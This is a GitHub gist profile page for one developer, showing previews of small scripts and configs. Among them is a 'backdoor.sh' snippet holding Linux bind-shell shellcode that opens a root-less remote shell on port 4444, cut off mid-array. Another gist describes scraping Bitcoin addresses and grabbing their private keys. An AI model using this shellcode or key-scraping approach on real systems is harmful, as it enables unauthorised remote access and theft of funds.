Skip to content

Instantly share code, notes, and snippets.

View Arinerron's full-sized avatar
:shipit:
Free and Open Source Bugs (FOSB)

Aaron Esau Arinerron

:shipit:
Free and Open Source Bugs (FOSB)
View GitHub Profile
@Arinerron
Arinerron / ChaosWebs.java
Last active March 17, 2022 17:41
Detect when a new post is made on @beardog108's blog (https://chaoswebs.net/blog/).
import java.util.*;
import java.util.regex.Pattern;
import java.net.*;
import java.io.*;
public class ChaosWebs {
public static double time = 6 * 60 * 60 * 1000;
public static String filename = ".last_post.txt";
public static void main(String[] args) {
#!/usr/bin/env python3
BOTTLES_PER_MONTH_PER_STUDENT = 156 / 12 # https://www.jerseyislandholidays.com/plastic-bottle-pollution-statistics
BOTTLE_PERCENT_PLASTIC = 0.291 # https://www.epa.gov/facts-and-figures-about-materials-waste-and-recycling/plastics-material-specific-data
BOTTLE_PERCENT_RECYCLED = 0.09 # https://www.greenmatters.com/p/what-percent-recycling-actually-gets-recycled
AVERAGE_PLASTIC_GRAMS_PER_BOTTLE = 19 # https://www.wastecare.com/usefulinfo/PET-Plastic-Water-Soda-Bottles-Bale-Weights.htm
AVERAGE_PLASTIC_GRAMS_PER_ID = 5 # https://www.uscreditcardguide.com/the-most-heavy-credit-cards-list/
while True:
@Arinerron
Arinerron / Main.java
Last active August 7, 2021 09:08
Scrape BTC accounts and their balance. If you see one that isn't 0.0, go to the first URL that it prints somewhere above the BTC account, and you can get the private key for that account from the page.
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
public class Main {
public static void main(String[] args) throws Exception {
@Arinerron
Arinerron / update.sh
Created August 15, 2016 06:09
My user-friendly updating script for Linux. Keeps the computer up-to-date. Perhaps I should make a cron job to make this run at midnight? :P
# Arinerron's update script
# License: Nope. This code is easily recreatable, and I spent like 5 minutes writing it. I couldn't care less if you claimed this code as your or somehow made millions off of this or whatever. Have fun. :P
export COLOR_NC='\e[0m';
export COLOR_GREEN='\e[0;32m';
clear;
echo -e "$COLOR_GREEN""[Update] ""$COLOR_NC""Updating package listing...";
sudo apt-get -qq update;
echo -e "$COLOR_GREEN""[Update] ""$COLOR_NC""Upgrading software...";
set number
set autoindent
set softtabstop=4
set shiftwidth=4
set expandtab
set smartindent
set pastetoggle=<F2>
inoremap <S-Tab> <C-d>
@Arinerron
Arinerron / config
Created June 18, 2019 04:32
important part of i3 config
exec --no-startup-id xautolock -time 60 -locker 'i3lock -d -c 000000'
exec --no-startup-id xmodmap -e 'keycode 135 = Super_R' && xset -r 135
bindsym XF86AudioRaiseVolume exec amixer -q set Master 1%+ unmute
bindsym XF86AudioLowerVolume exec amixer -q set Master 1%- unmute
bindsym XF86AudioPlay exec playerctl play-pause
bindsym XF86AudioMute exec /usr/bin/mute
@Arinerron
Arinerron / backdoor.sh
Created April 14, 2017 18:45
little backdoor
echo "unsigned char shellcode[] = \"\\x31\\xc0\\x40\\x74\\x60\\x31\\xdb\\xf7\\xe3\\xb0\\x66\\xb3\\x01\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\xb0\\x66\\x43\\x52\\x66\\x68\\x11\\x5c\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x04\\x52\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\xb3\\x05\\x52\\x52\\x56\\x89\\xe1\\xcd\\x80\\x93\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x92\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x50\\x89\\xe2\\xb0\\x0b\\xcd\\x80\\x48\\x31\\xc0\\x48\\x31\\xff\\x48\\x31\\xf6\\x48\\x31\\xd2\\x4d\\x31\\xc0\\x6a\\x02\\x5f\\x6a\\x01\\x5e\\x6a\\x06\\x5a\\x6a\\x29\\x58\\x0f\\x05\\x49\\x89\\xc0\\x4d\\x31\\xd2\\x41\\x52\\x41\\x52\\xc6\\x04\\x24\\x02\\x66\\xc7\\x44\\x24\\x02\\x11\\x5c\\x48\\x89\\xe6\\x41\\x50\\x5f\\x6a\\x10\\x5a\\x6a\\x31\\x58\\x0f\\x05\\x41\\x50\\x5f\\x6a\\x01\\x5e\\x6a\\x32\\x58\\x0f\\x05\\x48\\x89\\xe6\\x48\\x31\\xc9\\xb1\\x10\\x51\\x48\\x89\\xe2\\x41\\x50\\x5f\\x6a\\x2b\\x58\\x0f\\x05\\x59\\x
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
contact information for arinerron on teendevops
discord: @arinerron#5687
slack (teendevops.slack.com): arinerron
xmpp: aaron@k7dxs.net
irc (freenode): arinerron
import java.util.*; // import everything in util
public class GuessingGame {
public static int min = 0, max = 100; // set min to 0 and max to 100
public static boolean running = true; // set this to false, and next time it loops, it will stop
public static Scanner scanner = null; // this will be initialized by `main`
public static Random rand = new Random(); // this will be used to get a random number later
public static void main(String[] args) {
<?php
/* define the database class */
class Database {
public $host = 'localhost';
public $name = '';
public $user = '';
public $pass = '';
private $mysqli;